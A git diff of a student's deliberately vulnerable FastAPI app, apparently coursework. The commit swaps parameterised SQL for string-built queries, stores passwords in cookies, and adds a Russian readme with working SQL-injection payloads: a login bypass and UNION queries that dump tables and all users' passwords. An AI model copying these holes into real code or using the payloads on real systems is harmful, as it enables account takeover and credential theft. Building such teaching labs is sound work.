Compare commits
2 Commits
3086d1801d
...
06900e2768
| Author | SHA1 | Date | |
|---|---|---|---|
| 06900e2768 | |||
| a24c1f0957 |
@@ -1,6 +1,6 @@
|
|||||||
services:
|
services:
|
||||||
vunerable-web-app:
|
vunerable-web-app:
|
||||||
image: web-app:v0.0.1a
|
image: kulesh_web-app:v0.0.1a
|
||||||
ports:
|
ports:
|
||||||
- "80:8000"
|
- "80:8000"
|
||||||
volumes:
|
volumes:
|
||||||
|
|||||||
6
cookies.txt
Normal file
6
cookies.txt
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
# Netscape HTTP Cookie File
|
||||||
|
# https://curl.se/docs/http-cookies.html
|
||||||
|
# This file was generated by libcurl! Edit at your own risk.
|
||||||
|
|
||||||
|
localhost FALSE / FALSE 0 password a
|
||||||
|
localhost FALSE / FALSE 0 login "' or 1=1-- "
|
||||||
116
readme.md
116
readme.md
@@ -1,10 +1,112 @@
|
|||||||
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn)
|
# Kulesh_Web_app - Уязвимое веб-приложение
|
||||||
|
|
||||||
|
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
|
||||||
|
|
||||||
**На сервере Web написать уязвимое веб-приложение Весь проект писать на рабочем столе в папке Фамилия_Web_app, где “Фамилия” - это ваша настоящая фамилия**
|
## Функциональность приложения
|
||||||
|
|
||||||
|
- ✅ Регистрация пользователей
|
||||||
|
- ✅ Авторизация пользователей
|
||||||
|
- ✅ Cookie-аутентификация
|
||||||
|
- ✅ Страница приветствия для авторизованных пользователей
|
||||||
|
- ✅ Docker-контейнеризация
|
||||||
|
|
||||||
|
## Сборка и запуск
|
||||||
|
|
||||||
|
### Сборка Docker-образа
|
||||||
|
```bash
|
||||||
|
docker build -t kulesh_web-app:v0.0.1a .
|
||||||
|
```
|
||||||
|
|
||||||
|
### Запуск приложения
|
||||||
|
```bash
|
||||||
|
docker compose up
|
||||||
|
```
|
||||||
|
|
||||||
|
Приложение будет доступно по адресу: http://localhost:8000
|
||||||
|
|
||||||
|
## Работа с CURL
|
||||||
|
|
||||||
|
### Регистрация пользователя Administrator
|
||||||
|
```bash
|
||||||
|
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
|
||||||
|
```
|
||||||
|
|
||||||
|
### Регистрация пользователя Kulesh_AS
|
||||||
|
```bash
|
||||||
|
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
|
||||||
|
```
|
||||||
|
|
||||||
|
### Авторизация через CURL
|
||||||
|
```bash
|
||||||
|
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
|
||||||
|
```
|
||||||
|
|
||||||
|
### Доступ к защищенной странице
|
||||||
|
```bash
|
||||||
|
curl -b cookies.txt http://localhost:8000/welcome
|
||||||
|
```
|
||||||
|
|
||||||
|
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
|
||||||
|
|
||||||
|
### SQL-инъекция через форму авторизации
|
||||||
|
|
||||||
|
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
|
||||||
|
|
||||||
|
```python
|
||||||
|
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
|
||||||
|
```
|
||||||
|
|
||||||
|
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
|
||||||
|
|
||||||
|
### Базовый обход аутентификации
|
||||||
|
|
||||||
|
**Payload для поля login:**
|
||||||
|
```sql
|
||||||
|
' OR 1=1--
|
||||||
|
```
|
||||||
|
|
||||||
|
**Поле password:** (любое значение)
|
||||||
|
|
||||||
|
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
|
||||||
|
|
||||||
|
### Извлечение информации о базе данных
|
||||||
|
|
||||||
|
#### 1. Получение списка подключенных файлов БД:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 2. Получение списка пользовательских таблиц:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3. Получение схем всех таблиц:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 4. Извлечение всех пользователей и паролей:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT id, login, password FROM users --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 5. Получение данных конкретного пользователя Administrator:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
|
||||||
|
```
|
||||||
|
|
||||||
|
### Пошаговая эксплуатация
|
||||||
|
|
||||||
|
1. **Откройте форму входа:** http://localhost:8000/login
|
||||||
|
|
||||||
|
2. **Введите базовый payload для обхода аутентификации:**
|
||||||
|
- Login: `' OR 1=1--`
|
||||||
|
- Password: `test`
|
||||||
|
|
||||||
|
3. **Для извлечения данных используйте UNION-based инъекцию:**
|
||||||
|
- Login: `' UNION SELECT id, login, password FROM users --`
|
||||||
|
- Password: `test`
|
||||||
|
|
||||||
|
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
|
||||||
|
|
||||||
1. Реализовать страницу регистрации пользователей **(1.5 балла)**
|
|
||||||
2. Реализовать страницу авторизации пользователей **(1.5 балла)**
|
|
||||||
3. Реализовать **Cookie (2 балла)**
|
|
||||||
4. Реализовать страницу **“приветствия пользователя”** (она должна выводить текст **“Привет, имя_пользователя”**) (Имя_пользователя, это переменная и должна равняться авторизованному пользователю), доступ на эту страницу только после авторизации **(2 балла)**
|
|
||||||
5. Обернуть готовое приложение в **Docker (3 балла)**
|
|
||||||
66
src/app.py
66
src/app.py
@@ -7,12 +7,14 @@ DB_PATH = "./data/database.db"
|
|||||||
|
|
||||||
conn = sqlite3.connect(DB_PATH)
|
conn = sqlite3.connect(DB_PATH)
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
cursor.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)")
|
cursor.execute(
|
||||||
|
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
|
||||||
|
)
|
||||||
|
|
||||||
app = FastAPI(
|
app = FastAPI(
|
||||||
docs_url=None, # Disable Swagger UI
|
docs_url=None, # Disable Swagger UI
|
||||||
redoc_url=None, # Disable ReDoc
|
redoc_url=None, # Disable ReDoc
|
||||||
openapi_url=None # Disable OpenAPI JSON schema
|
openapi_url=None, # Disable OpenAPI JSON schema
|
||||||
)
|
)
|
||||||
|
|
||||||
STYLES = """
|
STYLES = """
|
||||||
@@ -27,6 +29,7 @@ body {
|
|||||||
</style>
|
</style>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@app.get("/register", response_class=HTMLResponse)
|
@app.get("/register", response_class=HTMLResponse)
|
||||||
async def register_form():
|
async def register_form():
|
||||||
return f"""
|
return f"""
|
||||||
@@ -44,17 +47,21 @@ async def register_form():
|
|||||||
</html>
|
</html>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@app.post("/register")
|
@app.post("/register")
|
||||||
async def register(login: str = Form(...), password: str = Form(...)):
|
async def register(login: str = Form(...), password: str = Form(...)):
|
||||||
try:
|
try:
|
||||||
cursor.execute("INSERT INTO users (login, password) VALUES (?, ?)", (login, password))
|
cursor.execute(
|
||||||
|
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
|
||||||
|
)
|
||||||
conn.commit()
|
conn.commit()
|
||||||
response = RedirectResponse(url="/welcome", status_code=302)
|
response = RedirectResponse(url="/welcome", status_code=302)
|
||||||
response.set_cookie("login", login)
|
response.set_cookie("login", login)
|
||||||
response.set_cookie("password", password)
|
response.set_cookie("password", password)
|
||||||
return response
|
return response
|
||||||
except sqlite3.IntegrityError:
|
except sqlite3.IntegrityError:
|
||||||
return HTMLResponse(f"""
|
return HTMLResponse(
|
||||||
|
f"""
|
||||||
<html>
|
<html>
|
||||||
<head><title>Ошибка регистрации</title>{STYLES}</head>
|
<head><title>Ошибка регистрации</title>{STYLES}</head>
|
||||||
<body>
|
<body>
|
||||||
@@ -62,7 +69,10 @@ async def register(login: str = Form(...), password: str = Form(...)):
|
|||||||
<a href='/register'>Попробовать снова</a>
|
<a href='/register'>Попробовать снова</a>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
""", status_code=400)
|
""",
|
||||||
|
status_code=400,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
@app.get("/login", response_class=HTMLResponse)
|
@app.get("/login", response_class=HTMLResponse)
|
||||||
async def login_form():
|
async def login_form():
|
||||||
@@ -81,17 +91,21 @@ async def login_form():
|
|||||||
</html>
|
</html>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@app.post("/login")
|
@app.post("/login")
|
||||||
async def login(login: str = Form(...), password: str = Form(...)):
|
async def login(login: str = Form(...), password: str = Form(...)):
|
||||||
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
|
cursor.execute(
|
||||||
user = cursor.fetchone()
|
f"SELECT * FROM users WHERE login='{login}' AND password='{password}'"
|
||||||
|
)
|
||||||
|
user = cursor.fetchall()
|
||||||
if user:
|
if user:
|
||||||
response = RedirectResponse(url="/welcome", status_code=302)
|
response = RedirectResponse(url="/welcome", status_code=302)
|
||||||
response.set_cookie("login", login)
|
response.set_cookie("login", login)
|
||||||
response.set_cookie("password", password)
|
response.set_cookie("password", password)
|
||||||
return response
|
return response
|
||||||
else:
|
else:
|
||||||
return HTMLResponse(f"""
|
return HTMLResponse(
|
||||||
|
f"""
|
||||||
<html>
|
<html>
|
||||||
<head><title>Ошибка входа</title>{STYLES}</head>
|
<head><title>Ошибка входа</title>{STYLES}</head>
|
||||||
<body>
|
<body>
|
||||||
@@ -99,7 +113,10 @@ async def login(login: str = Form(...), password: str = Form(...)):
|
|||||||
<a href='/login'>Попробовать снова</a>
|
<a href='/login'>Попробовать снова</a>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
""", status_code=401)
|
""",
|
||||||
|
status_code=401,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
@app.get("/welcome", response_class=HTMLResponse)
|
@app.get("/welcome", response_class=HTMLResponse)
|
||||||
async def welcome(request: Request):
|
async def welcome(request: Request):
|
||||||
@@ -107,35 +124,30 @@ async def welcome(request: Request):
|
|||||||
password = request.cookies.get("password")
|
password = request.cookies.get("password")
|
||||||
if not login or not password:
|
if not login or not password:
|
||||||
return RedirectResponse(url="/login")
|
return RedirectResponse(url="/login")
|
||||||
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
|
cursor.execute(
|
||||||
user = cursor.fetchone()
|
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
||||||
|
)
|
||||||
|
user = cursor.fetchall()
|
||||||
if user:
|
if user:
|
||||||
return f"""
|
return f"""
|
||||||
<html>
|
<html>
|
||||||
<head><title>Добро пожаловать</title>{STYLES}</head>
|
<head><title>Добро пожаловать</title>{STYLES}</head>
|
||||||
<body>
|
<body>
|
||||||
<h1>Привет, {login}</h1>
|
<h1>Привет, {user}</h1>
|
||||||
<form action="/logout" method="post" onsubmit="return logoutAlert();">
|
<button onclick="
|
||||||
<button type="submit">Выйти</button>
|
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||||
</form>
|
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||||
<script>
|
window.location.href = '/login';
|
||||||
function logoutAlert() {{
|
">Выйти</button>
|
||||||
alert('Вы вышли из аккаунта');
|
|
||||||
return true;
|
|
||||||
}}
|
|
||||||
</script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
else:
|
else:
|
||||||
return RedirectResponse(url="/login")
|
return RedirectResponse(url="/login")
|
||||||
|
|
||||||
@app.post("/logout")
|
|
||||||
async def logout():
|
|
||||||
response = RedirectResponse(url="/login", status_code=302)
|
|
||||||
response.delete_cookie("login")
|
|
||||||
response.delete_cookie("password")
|
|
||||||
return response
|
|
||||||
|
|
||||||
@app.get("/", include_in_schema=False)
|
@app.get("/", include_in_schema=False)
|
||||||
async def root():
|
async def root():
|
||||||
|
|||||||
Reference in New Issue
Block a user